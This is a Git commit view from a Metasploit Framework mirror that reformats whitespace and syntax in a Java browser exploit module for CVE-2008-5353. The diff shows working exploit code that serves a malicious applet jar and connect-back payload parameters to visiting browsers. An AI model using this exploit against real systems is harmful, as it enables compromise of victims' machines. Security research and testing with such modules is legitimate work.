infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

update whitespace / syntax for java_calendar_deserialize

bug/bundler_fix
Brent Cook 2015-12-23 15:42:27 -06:00
parent 07ef09e0b6
commit 7444f24721
1 changed files with 37 additions and 39 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

44
modules/exploits/multi/browser/java_calendar_deserialize.rb
View File

@ -17,8 +17,8 @@ class Metasploit3 < Msf::Exploit::Remote
# autopwn_info({ :javascript => false }) # autopwn_info({ :javascript => false })
def initialize(info = {}) def initialize(info = {})
super(
super( update_info( info, update_info(info,
'Name' => 'Sun Java Calendar Deserialization Privilege Escalation', 'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',
'Description' => %q{ 'Description' => %q{
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
@ -39,47 +39,47 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ], [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ] [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]
], ],
'Platform' => %w{ linux osx solaris win }, 'Platform' => %w(linux osx solaris win),
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' => 'Targets' =>
[ [
[ 'Generic (Java Payload)', [ 'Generic (Java Payload)',
{ {
'Platform' => ['java'], 'Platform' => ['java'],
'Arch' => ARCH_JAVA, 'Arch' => ARCH_JAVA
} }
], ],
[ 'Windows x86 (Native Payload)', [ 'Windows x86 (Native Payload)',
{ {
'Platform' => 'win', 'Platform' => 'win',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86
} }
], ],
[ 'Mac OS X PPC (Native Payload)', [ 'Mac OS X PPC (Native Payload)',
{ {
'Platform' => 'osx', 'Platform' => 'osx',
'Arch' => ARCH_PPC, 'Arch' => ARCH_PPC
} }
], ],
[ 'Mac OS X x86 (Native Payload)', [ 'Mac OS X x86 (Native Payload)',
{ {
'Platform' => 'osx', 'Platform' => 'osx',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86
} }
], ],
[ 'Linux x86 (Native Payload)', [ 'Linux x86 (Native Payload)',
{ {
'Platform' => 'linux', 'Platform' => 'linux',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86
} }
], ]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 03 2008' 'DisclosureDate' => 'Dec 03 2008'
)) )
)
end end
def exploit def exploit
# load the static jar file # load the static jar file
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar") path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")
@ -90,22 +90,21 @@ class Metasploit3 < Msf::Exploit::Remote
super super
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
data = nil data = nil
host = nil host = nil
port = nil port = nil
if not request.uri.match(/\.jar$/i) if !request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/) if !request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '') send_redirect(cli, get_resource + '/', '')
return return
end end
print_status("#{self.name} handling request") print_status("#{name} handling request")
payload = regenerate_payload(cli) payload = regenerate_payload(cli)
if not payload if !payload
print_error("Failed to generate the payload.") print_error("Failed to generate the payload.")
return return
end end
@ -138,12 +137,12 @@ class Metasploit3 < Msf::Exploit::Remote
end end
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } ) send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')
return return
end end
print_status("Sending Applet.jar") print_status("Sending Applet.jar")
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")
handler(cli) handler(cli)
end end
@ -157,11 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "<param name=\"lport\" value=\"#{port}\"/>" if port html += "<param name=\"lport\" value=\"#{port}\"/>" if port
html += "</applet></body></html>" html += "</applet></body></html>"
return html html
end end
def generate_jar() def generate_jar
return @jar_data @jar_data
end end
end end